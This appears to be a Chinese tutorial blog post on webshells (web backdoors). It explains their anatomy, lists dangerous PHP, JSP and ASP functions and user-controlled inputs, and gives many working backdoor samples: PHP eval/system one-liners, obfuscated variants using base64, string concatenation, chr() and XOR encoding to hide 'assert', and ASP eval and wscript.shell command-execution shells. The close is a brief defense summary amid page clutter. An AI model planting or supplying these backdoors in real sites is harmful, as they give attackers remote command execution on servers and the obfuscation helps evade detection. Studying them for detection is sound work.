webshell详解

一、 Webshell 介绍

  1. 概念

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门文件,得到一个命令执行环境,以达到控制网站服务器的目的。

从字面上来说,webshell单词可以拆成web和shell。其中web即服务器所开放的web服务。Shell即命令执行环境,用户与服务器操作系统交互的接口。即黑客通过网站提供的web服务建立与服务器进行交互的执行环境,从而获取服务器的一些权限,最终达到控制网站服务器的目的。

  1. 简单介绍

一个最简单的 php webshell

<?php system($_GET[1]); ?>

利用该webshell执行任意命令:
在这里插入图片描述

  1. webshell本质

如下任意命令执行类webshell一般由以下两部分组成:

  • 威胁函数;

  • 可控参数;
    在这里插入图片描述

简单总结 ,Webshell的本质其实是威胁函数和可控参数的组合调用,二者缺一不可。

绝大多数webshell都遵循这个原则,理解了这个大原则,也就基本了解了webshell的逻辑。

  1. 威胁函数与可控输入总结(常见)
  • php Webshell威胁函数 :
1 - 命令执行类函数:
exec,passthru,shell_exec,system,popen,proc_open,expect_popen,pcntl_exec,ssh2_exec,
php_check_syntax,virtual,escapeshellcmd
 
2 – 执行代码段函数
assert,eval,create_function,runkit_function_add,runkit_function_redefine   
 
3 – 回调类函数
call_user_func,call_user_func_array,array_diff_uassoc,array_diff_ukey,
array_filter,array_intersect_uassoc,array_intersect_ukey,array_map,
array_reduce,array_udiff,array_udiff_assoc,array_udiff_uassoc…
 
4 – 文件包含函数
include, require, require_once, include_once
  • php webshell 可控输入:
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES
$_SERVER
  • jsp webshell 威胁函数(类)

1 - 命令执行:
java.lang.Runtime.getRuntime().exec()
java.lang.ProcessBuilder.start()
java.lang.ProcessImpl //私有类,需要使用反射加载
ScriptEngineManager().getEngineByName().eval() //ScriptEngine(实现与js交互)执行脚本
ELProcessor().eval() //tomcat el表达式
ELManager().getExpressionFactory().createValuexpression() //ELProcessor的eval的底层实现
java.beans.Expression.getValue() //java.beans.Expression命令执行
jdk.jshell.jshell.builder().build().eval() // Java 9 使用 JShell 命令执行
 
2 - 类加载:
java.lang.ClassLoader
java.net.URLClassLoader
 
3 - 反射:
Class.forName("{威胁函数}")
 
4 - 反序列化:
XMLDecoder().readObject()  // 类似weblogic xml 反序列化漏洞
 
5 - jndi注入:
com.sun.rowset.JdbcRowSetImpl
  • jsp 可控输入:
1 - Request(HttpServletRequest)的可控参数种类:
getParameter, getQueryString, getParameterNames,
getInputStream, getReader, getParameterMap, getContentLength,
getParameterValues, getHeader,
getHeaders, getParameterMap, getHeaderNames, getRequestedSessionId, getCookies, getAttribute, getAttributeNames,
getContentLengthLong
 
2 - 其他参数类型:
URLConnection(HttpURLConnection)
Response(HttpServletResponse)
pageContext
  • asp webshell 威胁函数
eval
execute
executeGlobal
(wscript.shell).exec()
  • asp 可控输入:
request()
Request.BinaryRead()

php 函数库参考文档:https://www.php.net/

java 类方法参考文档:https://tool.oschina.net/apidocs/apidoc?api=jdk-zh

二 、 基础常见webshell案例

  1. PHP webshell 类
  • “一句话webshell” 类
<?php eval($_POST['1']);?>
 
<?php assert($_REQUEST["c"]);?>
 
<?php system($_POST['1']);?>
 
<?php shell_exec($_GET['1']);?>
  • create_function 函数使用
<?php $ant=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));$ant();?>
  • 字符拼接类
<?php
$s0="e";
$s1="val($";
$s2="_";
$s3="P";
$s4="O";
$s5="ST";
$poos=$s0.$s1.$s2.$s3.$s4.$s5."[mima]);";
$pp=@eval($poos);
@eval($pp);
?>
  • ascii码隐藏特征字符
<?php
$a="chr";
$b=$a(97).$a(115).$a(115).$a(101).$a(114).$a(116);
echo $b;
$b($_POST['cmd']);
?>
  • preg_replace 函数 /e 特性使用
<?php
$a = $_REQUEST['id'];
preg_replace('/.*/e',' '.$a,'');
?>
  • include 文件包含
<?php
@include($_GET['bug']);
?>
  • 异或逻辑运算隐藏特征字符
<?php
#$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
#$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$_=(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`'); // $_='assert';
$__='_'.('{'^'+').('/'^'`').(''^']').(' '^']'); // $__='_POST';
echo $__;
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>
  1. asp webshell类
  • eval 执行任意命令
<%eval request("qt")%>
  • execute 执行任意命令
<%
dim a(5)
a(0)=request("404")
eXecUTe(a(0))
%>
  • COM组件命令执行
<%=server.createobject("ws"+"cript.shell").exec("cmd.exe /c "&request("qt")).stdout.readall%>
  • 1
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Webshell攻击是指攻击者利用Web漏洞获取Web服务器的权限,并上传Webshell后门,从而实现对服务器的控制和操控。Webshell可以被用来执行命令、上传下载文件、修改文件权限等操作,给攻击者提供了广泛的控制权。 为了防御Webshell攻击,需要采取一系列的安全措施。首先,应该加强对Web应用程序的安全性,包括及时更新和修补漏洞、使用安全的编程实践、限制文件上传的类型和大小等。其次,应该加强对服务器的安全配置,包括限制对敏感文件和目录的访问权限、禁止执行可疑的脚本和命令、监控服务器日志等。此外,还可以使用防火墙和入侵检测系统来监控和阻止Webshell的上传和执行。 另外,用户也应该养成良好的使用习惯,避免点击可疑的链接和下载未知来源的文件,定期更改密码,并使用强密码和多因素身份验证等措施来保护自己的账户安全。 总之,防御Webshell攻击需要综合考虑安全措施,包括加强Web应用程序和服务器的安全性,以及用户的安全意识和使用习惯。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* [网络安全-webshell详解(原理、攻击、检测与防御)](https://blog.csdn.net/lady_killer9/article/details/120286817)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [WebShell攻击流程大揭秘: 渗透测试必备技能(网页后门)](https://blog.csdn.net/weixin_43263566/article/details/128748547)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [网络攻击之WebShell](https://blog.csdn.net/qq_44887910/article/details/126701405)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值